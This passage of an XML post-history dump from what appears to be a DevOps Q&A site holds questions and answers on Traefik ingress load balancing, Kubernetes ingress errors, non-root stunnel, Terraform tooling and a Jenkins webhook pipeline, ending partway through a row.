  <row Id="43689" PostHistoryTypeId="5" PostId="13885" RevisionGUID="c9c97614-202d-4569-9610-fd3bc260ccf7" CreationDate="2021-05-12T17:54:37.540" UserId="27443" Comment="added more detail and link" Text="I want to be able to load balance several nodes of a backend service represented by `ClusterIP` services using a `traefik.containo.us/v1alpha1` ingress. I know that `ClusterIP` service can load balance easily with deployments and `ReplicaSet`  but the way this application is designed each node needs to be it's own Deployment as it is a stateful node. &#xD;&#xA;&#xD;&#xA;So I either need a way to have the flow be:&#xD;&#xA;&#xD;&#xA;    Ingress --&gt; [ClusterIP-Node1, ClusterIP-Node2, ClusterIP-Node3, ClusterIP-Node4] &#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    Ingress --&gt; ClusterIP-LoadBalancer --&gt; [ClusterIP-Node1, ClusterIP-Node2, ClusterIP-Node3, ClusterIP-Node4] &#xD;&#xA;&#xD;&#xA;How can I use `traefik.containo.us/v1alpha1` to automatically loadbalance between these `ClusterIP` services?&#xD;&#xA;&#xD;&#xA;For example, if I currently have one `Ingress` for each `ClusterIP, like this:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-node1-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice-node1.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: myservice-node1-clusterip&#xD;&#xA;      labels:&#xD;&#xA;        app: myservice&#xD;&#xA;        tier: backend&#xD;&#xA;        name: myservice-node1&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        app: myservice&#xD;&#xA;        tier: backend&#xD;&#xA;        name: myservice-node1-deployment&#xD;&#xA;      type: ClusterIP&#xD;&#xA;      ports:&#xD;&#xA;        - name: rpc-listener&#xD;&#xA;          protocol: TCP&#xD;&#xA;          port: 80&#xD;&#xA;          targetPort: 8545&#xD;&#xA;    ... N+1&#xD;&#xA;    &#xD;&#xA;And I want to change that to a single `Ingress` Point similar to this:&#xD;&#xA;&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;&#xD;&#xA;Is it possible to have the `traefik.containo.us/v1alpha1` load balance across the services similar to this? I saw something that looked promising on this page in the [docs](https://doc.traefik.io/traefik/v2.1/routing/providers/kubernetes-crd/) that you can have `n` number of `services[n].name` for a matching route `routes[n].services`. Does that mean you can do something similar to the following?  &#xD;&#xA;&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node2-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node3-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node4-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;&#xD;&#xA;Also, is there a way to pass the `sessionAffinity` with it like there are in services `sessionAffinity: ClientIP`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43690" PostHistoryTypeId="7" PostId="141" RevisionGUID="46a69c74-49e9-4953-8334-00c4ca57b94b" CreationDate="2021-05-12T18:56:29.160" UserId="210" Comment="Rollback to [3676f417-b046-45c7-98c2-a76666ecefe1]" Text="Key attributes of Continuous Integration (CI) software" ContentLicense="CC BY-SA 4.0" />
  <row Id="43691" PostHistoryTypeId="9" PostId="141" RevisionGUID="46a69c74-49e9-4953-8334-00c4ca57b94b" CreationDate="2021-05-12T18:56:29.160" UserId="210" Comment="Rollback to [3676f417-b046-45c7-98c2-a76666ecefe1]" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;travis-ci&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43693" PostHistoryTypeId="50" PostId="13639" RevisionGUID="e9271107-c6db-45f2-9587-aa8b337c54a0" CreationDate="2021-05-12T20:05:00.507" UserId="-1" />
  <row Id="43694" PostHistoryTypeId="2" PostId="13887" RevisionGUID="453c2c83-d0be-4013-af5d-4e0a5c9fa03f" CreationDate="2021-05-12T22:31:55.427" UserId="16537" Text="I am having some issue with creating ingress for a nginx service that I deployed in a kubernetes cluster. I am able to open the web page using port forwarding, so I think the service should work.The issue might be with configuring the ingress.I checked for selector, different ports, but still could not find where goes wrong. Anyone could help ? Thank you in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Source: django/templates/configmap.yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: ConfigMap&#xD;&#xA;metadata:&#xD;&#xA;  name: vehement-horse-django-config&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/name: django&#xD;&#xA;    helm.sh/chart: django-0.0.1&#xD;&#xA;    app.kubernetes.io/instance: vehement-horse&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;    enter code here&#xD;&#xA;&#xD;&#xA;data:&#xD;&#xA;---&#xD;&#xA;# Source: django/templates/service.yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: vehement-horse-django&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/name: django&#xD;&#xA;    helm.sh/chart: django-0.0.1&#xD;&#xA;    app.kubernetes.io/instance: vehement-horse&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  ports:&#xD;&#xA;    - port: 80&#xD;&#xA;      targetPort: 8080&#xD;&#xA;      protocol: TCP&#xD;&#xA;      name: &#xD;&#xA;  selector:&#xD;&#xA;    app.kubernetes.io/name: django&#xD;&#xA;    app.kubernetes.io/instance: vehement-horse&#xD;&#xA;---&#xD;&#xA;# Source: django/templates/deployment.yaml&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: vehement-horse-django&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/name: django&#xD;&#xA;    helm.sh/chart: django-0.0.1&#xD;&#xA;    app.kubernetes.io/instance: vehement-horse&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;spec:&#xD;&#xA;  replicas: &#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app.kubernetes.io/name: django&#xD;&#xA;      app.kubernetes.io/instance: vehement-horse&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app.kubernetes.io/name: django&#xD;&#xA;        app.kubernetes.io/instance: vehement-horse&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: django&#xD;&#xA;          image: &quot;website:72cf09525f2da01706cdb4c6131e8bf1802ea6a3&quot;&#xD;&#xA;          imagePullPolicy: Always&#xD;&#xA;          envFrom:&#xD;&#xA;          - configMapRef:&#xD;&#xA;              name: vehement-horse-django-config&#xD;&#xA;          ports:&#xD;&#xA;            - name: http&#xD;&#xA;              containerPort: 8080&#xD;&#xA;              protocol: TCP&#xD;&#xA;          resources:&#xD;&#xA;            limits:&#xD;&#xA;              cpu: 1&#xD;&#xA;              memory: 1Gi&#xD;&#xA;            requests:&#xD;&#xA;              cpu: 1&#xD;&#xA;              memory: 512Mi&#xD;&#xA;            &#xD;&#xA;      imagePullSecrets:&#xD;&#xA;        - name: some-secret&#xD;&#xA;---&#xD;&#xA;# Source: django/templates/ingress.yaml&#xD;&#xA;apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: vehement-horse-django&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/name: django&#xD;&#xA;    helm.sh/chart: django-0.0.1&#xD;&#xA;    app.kubernetes.io/instance: vehement-horse&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;    - host: something.com&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;          - path: /&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: vehement-horse-django&#xD;&#xA;              servicePort: http&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43695" PostHistoryTypeId="1" PostId="13887" RevisionGUID="453c2c83-d0be-4013-af5d-4e0a5c9fa03f" CreationDate="2021-05-12T22:31:55.427" UserId="16537" Text="503 Service Temporarily Unavailable using Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="43696" PostHistoryTypeId="3" PostId="13887" RevisionGUID="453c2c83-d0be-4013-af5d-4e0a5c9fa03f" CreationDate="2021-05-12T22:31:55.427" UserId="16537" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43698" PostHistoryTypeId="2" PostId="13888" RevisionGUID="e7e818d7-d61f-4930-9e32-37f7075cb31a" CreationDate="2021-05-13T05:01:55.107" UserId="2943" Text="I have a setup on k8s that uses STUNNEL to secure all requests sent/received. In this setup Stunnel is running as root and - by default - it accesses root dirs.&#xD;&#xA;&#xD;&#xA;My aim is to re-setup stunnel to work as non-root with read-only access to root dirs. If you are asking why I am doing that, it's becuz I'm applying a PSP that prohibits root capabilities.&#xD;&#xA;&#xD;&#xA;What I did: I used &quot;run as&quot; feature of k8s and was able to force stunnel to run as non-root but however this does not fix the fact that Stunnel is accessing root dirs in R/W mode.&#xD;&#xA;&#xD;&#xA;The current blocking issue is that stunnel is attempting to write in &quot;/usr/share/ca-certificates&quot; which crashes the whole container cuz it's a prohibited operation.&#xD;&#xA;&#xD;&#xA;What I am thinking of:&#xD;&#xA;&#xD;&#xA; 1. if I mounted an empty_dir volume in this path &quot;/usr/share/ca-certificates&quot;, it will for sure solve the issue but would this be a correct approach? are we still secure? (note1: their might be more root paths that can't be fixed it in this way) (note 2: the cluster itself is protected)&#xD;&#xA; 2. What If I wanted to completely dockrize stunnel as non-root, is it something possible? (note: AFAIK, there are no official docker images for stunnel)&#xD;&#xA;&#xD;&#xA;I hope you could assist with this.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43699" PostHistoryTypeId="1" PostId="13888" RevisionGUID="e7e818d7-d61f-4930-9e32-37f7075cb31a" CreationDate="2021-05-13T05:01:55.107" UserId="2943" Text="Stunnel in non-root mode" ContentLicense="CC BY-SA 4.0" />
  <row Id="43700" PostHistoryTypeId="3" PostId="13888" RevisionGUID="e7e818d7-d61f-4930-9e32-37f7075cb31a" CreationDate="2021-05-13T05:01:55.107" UserId="2943" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;linux&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43704" PostHistoryTypeId="2" PostId="13890" RevisionGUID="1b240a20-af6a-4192-a2b9-09b7ad586c57" CreationDate="2021-05-13T06:59:39.867" UserId="27644" Text="I have created one application where I use **Nginx-Ingress Controller version 3.29.0**. Without using **network security policy** I'm able to access my application. But, after applying network security policy, I'm unable to access my application.&#xD;&#xA;I checked all logs and troubleshoots the whole application but there is nothing anything odd. all my services and nginx ingress controller are working fine. But still when I go to access my application it will show me error that, **&quot;To long to respond&quot;**.&#xD;&#xA;&#xD;&#xA;Can any one help me with this?&#xD;&#xA;**Is there anything like nginx-ingress controller is not compatible with network security policies or what?&#xD;&#xA;and how can I solve this?**&#xD;&#xA;&#xD;&#xA;Nginx-Ingress Controller version - 3.29.0&#xD;&#xA;Kubernetes version - 1.19.7&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="43705" PostHistoryTypeId="1" PostId="13890" RevisionGUID="1b240a20-af6a-4192-a2b9-09b7ad586c57" CreationDate="2021-05-13T06:59:39.867" UserId="27644" Text="Nginx-Ingress Controller are compatible with Network Security Policy or not?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43706" PostHistoryTypeId="3" PostId="13890" RevisionGUID="1b240a20-af6a-4192-a2b9-09b7ad586c57" CreationDate="2021-05-13T06:59:39.867" UserId="27644" Text="&lt;azure-devops&gt;&lt;nginx&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43707" PostHistoryTypeId="5" PostId="13883" RevisionGUID="62be557c-c09c-4b26-ad96-5b848b783a4e" CreationDate="2021-05-13T08:27:12.190" UserId="27635" Comment="added 1 character in body" Text="I am new to azure pipelines, started learning &amp; in the process of creating my very 1st yaml pipeline.&#xD;&#xA;&#xD;&#xA;My project is private, I am using a multi-stage templated pipeline, self-hosted as need to concurrently deploy a java web application to 7 VMs using mvn tomcat7 plugin run: command &#xD;&#xA;so as to run selenium automation tests in parallel across all the VMs. A template pipeline which is called 7 times to deploy to all the VMs is such that it needs to stay running as &#xD;&#xA;necessitated by the embedded tomcat instance on each of the VMs which in turn requires the ablitiy to have parallelism enabled, pay extra for to achieve this.&#xD;&#xA;&#xD;&#xA;My question - is there another way without having to pay extra for parallelism or turning my project to be a public one ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43709" PostHistoryTypeId="2" PostId="13891" RevisionGUID="f3f48857-1e7a-4895-ade5-027ff2a7b53c" CreationDate="2021-05-13T09:37:45.400" UserId="18027" Text="The way we do this is to use [EC2 User data][1] to run a cloud-init script after the EC2 instance has been launched.&#xD;&#xA;&#xD;&#xA;With Terraform this user data can be templated and parameterized for different environments using Terraform's [templatefile][2] and passing in [variables via parameter files][3].&#xD;&#xA;&#xD;&#xA;I would suggest you also read up on AWS Auto scaling groups and launch templates as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/&#xD;&#xA;  [2]: https://registry.terraform.io/providers/hashicorp/template/latest/docs/data-sources/file&#xD;&#xA;  [3]: https://www.terraform.io/docs/language/values/variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43710" PostHistoryTypeId="2" PostId="13892" RevisionGUID="e123d2af-d8d7-4ca2-8368-8ba3e9014b4c" CreationDate="2021-05-13T10:02:00.467" UserId="18027" Text="Terraform is idempotent so will only change what needs to be changed.&#xD;&#xA;&#xD;&#xA;So after applying your existing plan, if you add more modules or resources and run another plan and apply, it will add the new resources not the whole infrastructure.&#xD;&#xA;&#xD;&#xA;Terraform import is used when you want to start managing a resource created outside your Terraform code for example created in the AWS console, AWS CLI).&#xD;&#xA;&#xD;&#xA;It basically associates and existing resource with your new Terraform code, so that Terraform doesn't try to recreate it when you run the plan/ apply." ContentLicense="CC BY-SA 4.0" />
  <row Id="43711" PostHistoryTypeId="2" PostId="13893" RevisionGUID="580d595a-147a-4e36-bc46-8e113fd380ec" CreationDate="2021-05-13T10:18:21.550" UserId="18027" Text="The tools that we have include in our Terraform pipelines to check code quality and best practises are;&#xD;&#xA;&#xD;&#xA; 1. [Tflint][1]&#xD;&#xA; 2. [TFSec][2]&#xD;&#xA; 3. [Checkov][3]&#xD;&#xA;&#xD;&#xA;This any issues get highlighted early at the MR stage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/terraform-linters/tflint&#xD;&#xA;  [2]: https://github.com/tfsec/tfsec&#xD;&#xA;  [3]: https://www.checkov.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43712" PostHistoryTypeId="2" PostId="13894" RevisionGUID="aa961f21-48e4-41b8-8ddb-4a8b910a97de" CreationDate="2021-05-13T10:22:10.310" UserId="18027" Text="The tools that we have include in our Terraform pipelines to check code quality and best practises are;&#xD;&#xA;&#xD;&#xA; 1. [Tflint][1]&#xD;&#xA; 2. [TFSec][2]&#xD;&#xA; 3. [Checkov][3]&#xD;&#xA;&#xD;&#xA;This way any issues get highlighted early at the MR stage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/terraform-linters/tflint&#xD;&#xA;  [2]: https://github.com/tfsec/tfsec&#xD;&#xA;  [3]: https://www.checkov.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43713" PostHistoryTypeId="2" PostId="13895" RevisionGUID="be64a57d-7b0f-41c6-8674-ff9a8202686c" CreationDate="2021-05-13T10:35:45.887" UserId="18027" Text="You might be able to do something with the [local-exec Provisioner][1] to push the information out to an external script or file which you could monitor separately during the run.&#xD;&#xA;&#xD;&#xA;The issue you might encounter is the run order, HCL isn't processed top to bottom like a &quot;traditional&quot; programming language, it works out a dependency tree for the resources it is creating, so might not run the local-exec when you'd expect them to be run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/language/resources/provisioners/local-exec.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43714" PostHistoryTypeId="2" PostId="13896" RevisionGUID="833a799f-fe5c-40f0-b6f0-a118446cf28d" CreationDate="2021-05-13T11:30:02.797" UserId="27650" Text="I have large Kubernates jobs which take the whole resources of one node / droplet in Digitalocean.&#xD;&#xA;&#xD;&#xA;Using resources in a deploy.yaml, the cluster autoscaler works to scale up, but sometimes the nodes continue to run instead of killing / scaling down when the job is done.&#xD;&#xA;&#xD;&#xA;How do I make sure the nodes get killed when the job is done? They are expensive!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43715" PostHistoryTypeId="1" PostId="13896" RevisionGUID="833a799f-fe5c-40f0-b6f0-a118446cf28d" CreationDate="2021-05-13T11:30:02.797" UserId="27650" Text="How to ensure Nodes are killed when Job is finished using Cluster Autoscaler in Kubernates" ContentLicense="CC BY-SA 4.0" />
  <row Id="43716" PostHistoryTypeId="3" PostId="13896" RevisionGUID="833a799f-fe5c-40f0-b6f0-a118446cf28d" CreationDate="2021-05-13T11:30:02.797" UserId="27650" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43717" PostHistoryTypeId="2" PostId="13897" RevisionGUID="b1775fb3-fa87-4fba-896e-2e49242512fc" CreationDate="2021-05-13T11:55:49.157" UserId="27651" Text="I have several services running on OpenShift that are interacting with each other. Right now one of the services is crushing as a result of too many requests, and I want to know which one of the services is responsible for the excess inquiries. (I would like to identify each request to the crushing service with the service that sent the request)&#xD;&#xA;&#xD;&#xA;How can I do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43718" PostHistoryTypeId="1" PostId="13897" RevisionGUID="b1775fb3-fa87-4fba-896e-2e49242512fc" CreationDate="2021-05-13T11:55:49.157" UserId="27651" Text="OpenShift - identify request to pod with the service that sent it" ContentLicense="CC BY-SA 4.0" />
  <row Id="43719" PostHistoryTypeId="3" PostId="13897" RevisionGUID="b1775fb3-fa87-4fba-896e-2e49242512fc" CreationDate="2021-05-13T11:55:49.157" UserId="27651" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43721" PostHistoryTypeId="50" PostId="8686" RevisionGUID="01de61e0-849a-45be-93f1-39c649939918" CreationDate="2021-05-13T12:05:10.500" UserId="-1" />
  <row Id="43722" PostHistoryTypeId="5" PostId="13883" RevisionGUID="82c8d1eb-7ce7-4db5-888d-6d4c908e528a" CreationDate="2021-05-13T15:40:18.150" UserId="27635" Comment="deleted 52 characters in body" Text="I am new to azure pipelines, started learning &amp; in the process of creating my very 1st yaml pipeline.&#xD;&#xA;&#xD;&#xA;My project is private, I am using a multi-stage templated pipeline, self-hosted as need to concurrently deploy a java web application to 7 VMs using mvn tomcat7 plugin run: command &#xD;&#xA;so as to run selenium automation tests in parallel across all the VMs. A template pipeline which is called 7 times to deploy to all the VMs is such that it needs to stay running as &#xD;&#xA;necessitated by the embedded tomcat instance on each of the VMs which in turn requires the ability to have parallelism.&#xD;&#xA;&#xD;&#xA;Is it possible to have several parallel jobs running without turning my project from a private one to public ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43723" PostHistoryTypeId="5" PostId="13896" RevisionGUID="9e8d3cf0-4dea-41bd-bd7c-e55fca294960" CreationDate="2021-05-13T16:10:47.617" UserId="27650" Comment="added 109 characters in body" Text="I have large Kubernates jobs which take the whole resources of one node / droplet in Digitalocean.&#xD;&#xA;&#xD;&#xA;Using resources in a deploy.yaml, the cluster autoscaler works to scale up, but sometimes the nodes continue to run instead of killing / scaling down when the job is done.&#xD;&#xA;&#xD;&#xA;How do I make sure the nodes get killed when the job is done? They are expensive!&#xD;&#xA;&#xD;&#xA;Edit: this is about DigitalOcean but I don't have enough points to tag it as such. It's not running on AWS." ContentLicense="CC BY-SA 4.0" />
  <row Id="43724" PostHistoryTypeId="5" PostId="13871" RevisionGUID="344fe242-a9b0-43ba-876e-fa9e530e46b8" CreationDate="2021-05-13T18:07:44.940" UserId="44" Comment="edited body" Text="&gt; But from what I've understood Fargate is more suitable for container that have a limited lifetime?&#xD;&#xA;&#xD;&#xA;That's not strictly correct, Fargate capabilities include tasks which are suitable for short-term limited lifetime tasks as well as services which are designed to run all the time. &#xD;&#xA;&#xD;&#xA;For sure, Fargate is more expensive as compared to EC2 - but you don't need to maintain the instance, patch the OS, have your container runtime and manage them, handle scaling of the underlying nodes - Fargate does this all for you. All you need to provide is a Docker image, how much vCPUs &amp; Memory you need and to how many containers it should scale to, and AWS will take care of the rest. You can optionally provide a CloudWatch log group and have the container logs streamed to CloudWatch logs, or also stream them to custom log ingesters as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="43725" PostHistoryTypeId="2" PostId="13898" RevisionGUID="b013a65f-3b05-4021-9d98-144a818d00b4" CreationDate="2021-05-13T18:53:26.753" UserId="27660" Text="I run Docker on Windows 10 machine with WSL 2 support. I would like to know where docker image files are located in this situation? Where docker image files are located in case when no WSL 2 is enabled." ContentLicense="CC BY-SA 4.0" />
  <row Id="43726" PostHistoryTypeId="1" PostId="13898" RevisionGUID="b013a65f-3b05-4021-9d98-144a818d00b4" CreationDate="2021-05-13T18:53:26.753" UserId="27660" Text="Docker image file location" ContentLicense="CC BY-SA 4.0" />
  <row Id="43727" PostHistoryTypeId="3" PostId="13898" RevisionGUID="b013a65f-3b05-4021-9d98-144a818d00b4" CreationDate="2021-05-13T18:53:26.753" UserId="27660" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43728" PostHistoryTypeId="2" PostId="13899" RevisionGUID="7e636809-b3f0-4374-b0db-b77e30d9dfb2" CreationDate="2021-05-13T23:26:52.297" UserId="27661" Text="I'm new to DevOps, and am cobbling together a beginner understanding from lots of reading, YouTube videos, and online examples.&#xD;&#xA;&#xD;&#xA;I've had initial success adapting [this helpful tutorial][1]. I.e. in my bitbucket project, I've introduced a webhook that posts to Jenkins' generic pipeline url. The script referenced in the video is [here][2]. My (simplified) adaptation is:&#xD;&#xA;```&#xD;&#xA;node {&#xD;&#xA; properties([&#xD;&#xA;  pipelineTriggers([&#xD;&#xA;   [$class: 'GenericTrigger',&#xD;&#xA;    genericVariables: [&#xD;&#xA;     [ key: 'committer_name', value: '$.actor.name' ],&#xD;&#xA;     [ key: 'committer_email', value: '$.actor.emailAddress' ],&#xD;&#xA;     [ key: 'ref', value: '$.changes[0].refId'],&#xD;&#xA;     [ key: 'tag', value: '$.changes[0].ref.id', regexpFilter: 'refs/tags/'],&#xD;&#xA;     [ key: 'commit', value: '$.changes[0].toHash' ],&#xD;&#xA;     [ key: 'repo_slug', value: '$.repository.slug' ],&#xD;&#xA;     [ key: 'project_key', value: '$.repository.project.key' ],&#xD;&#xA;     [ key: 'clone_url', value: '$.repository.links.clone[0].href' ],&#xD;&#xA;     [ key: 'var1', value: 'value1' ],&#xD;&#xA;     [ key: 'var2', value: 'value2' ],&#xD;&#xA;     [ key: 'var3', value: 'value3' ],&#xD;&#xA;     [ key: 'var4', value: 'value4' ]&#xD;&#xA;    ],&#xD;&#xA;     &#xD;&#xA;    causeString: '$committer_name pushed tag $tag to $clone_url referencing $commit',&#xD;&#xA;    &#xD;&#xA;    token: 'my_token',&#xD;&#xA;    &#xD;&#xA;    printContributedVariables: true,&#xD;&#xA;    printPostContent: true,&#xD;&#xA;    &#xD;&#xA;    regexpFilterText: '$ref',&#xD;&#xA;    regexpFilterExpression: '^refs/tags/.*'&#xD;&#xA;   ]&#xD;&#xA;  ])&#xD;&#xA; ])&#xD;&#xA;&#xD;&#xA; stage(&quot;Prepare&quot;) {&#xD;&#xA;  deleteDir()&#xD;&#xA;  sh '''&#xD;&#xA;  echo $committer_name&#xD;&#xA;  echo $committer_email&#xD;&#xA;  echo $var1&#xD;&#xA;  echo $var2&#xD;&#xA;  '''&#xD;&#xA; }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Following is console output from one run of this job:&#xD;&#xA;```&#xD;&#xA;user pushed tag wip35 to https://bitbucket.someplace.com/scm/san/user_generic_webhook_sender.git referencing 24e71eaa1a9f92fd850135798a4177e810a926ab&#xD;&#xA;Running in Durability level: MAX_SURVIVABILITY&#xD;&#xA;[Pipeline] Start of Pipeline&#xD;&#xA;[Pipeline] node&#xD;&#xA;Running on builder-231 in /home/builder/workspace/on_this_project_generic_webhook_build_that_project&#xD;&#xA;[Pipeline] {&#xD;&#xA;GenericWebhookEnvironmentContributor&#xD;&#xA; Received:&#xD;&#xA;&#xD;&#xA;{&quot;eventKey&quot;:&quot;repo:refs_changed&quot;,&quot;date&quot;:&quot;2021-05-13T16:02:29-0700&quot;,&quot;actor&quot;:{&quot;name&quot;:&quot;user&quot;,&quot;emailAddress&quot;:&quot;user@someplace.com&quot;,&quot;id&quot;:4464,&quot;displayName&quot;:&quot;user&quot;,&quot;active&quot;:true,&quot;slug&quot;:&quot;user&quot;,&quot;type&quot;:&quot;NORMAL&quot;,&quot;links&quot;:{&quot;self&quot;:[{&quot;href&quot;:&quot;https://bitbucket.someplace.com/users/user&quot;}]}},&quot;repository&quot;:{&quot;slug&quot;:&quot;user_generic_webhook_sender&quot;,&quot;id&quot;:4285,&quot;name&quot;:&quot;user_generic_webhook_sender&quot;,&quot;description&quot;:&quot;Sends generic webbooks to  Jenkins&quot;,&quot;scmId&quot;:&quot;git&quot;,&quot;state&quot;:&quot;AVAILABLE&quot;,&quot;statusMessage&quot;:&quot;Available&quot;,&quot;forkable&quot;:true,&quot;project&quot;:{&quot;key&quot;:&quot;SAN&quot;,&quot;id&quot;:2280,&quot;name&quot;:&quot;sandbox_projects&quot;,&quot;description&quot;:&quot;sandbox_projects_prj&quot;,&quot;public&quot;:true,&quot;type&quot;:&quot;NORMAL&quot;,&quot;links&quot;:{&quot;self&quot;:[{&quot;href&quot;:&quot;https://bitbucket.someplace.com/projects/SAN&quot;}]}},&quot;public&quot;:false,&quot;links&quot;:{&quot;clone&quot;:[{&quot;href&quot;:&quot;https://bitbucket.someplace.com/scm/san/user_generic_webhook_sender.git&quot;,&quot;name&quot;:&quot;http&quot;},{&quot;href&quot;:&quot;ssh://git@bitbucket.someplace.com:7999/san/user_generic_webhook_sender.git&quot;,&quot;name&quot;:&quot;ssh&quot;}],&quot;self&quot;:[{&quot;href&quot;:&quot;https://bitbucket.someplace.com/projects/SAN/repos/user_generic_webhook_sender/browse&quot;}]}},&quot;changes&quot;:[{&quot;ref&quot;:{&quot;id&quot;:&quot;refs/tags/wip35&quot;,&quot;displayId&quot;:&quot;wip35&quot;,&quot;type&quot;:&quot;TAG&quot;},&quot;refId&quot;:&quot;refs/tags/wip35&quot;,&quot;fromHash&quot;:&quot;0000000000000000000000000000000000000000&quot;,&quot;toHash&quot;:&quot;24e71eaa1a9f92fd850135798a4177e810a926ab&quot;,&quot;type&quot;:&quot;ADD&quot;}]}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Contributing variables:&#xD;&#xA;&#xD;&#xA;    clone_url = https://bitbucket.someplace.com/scm/san/user_generic_webhook_sender.git&#xD;&#xA;    commit = 24e71eaa1a9f92fd850135798a4177e810a926ab&#xD;&#xA;    committer_email = user@someplace.com&#xD;&#xA;    committer_name = user&#xD;&#xA;    project_key = SAN&#xD;&#xA;    ref = refs/tags/wip35&#xD;&#xA;    repo_slug = 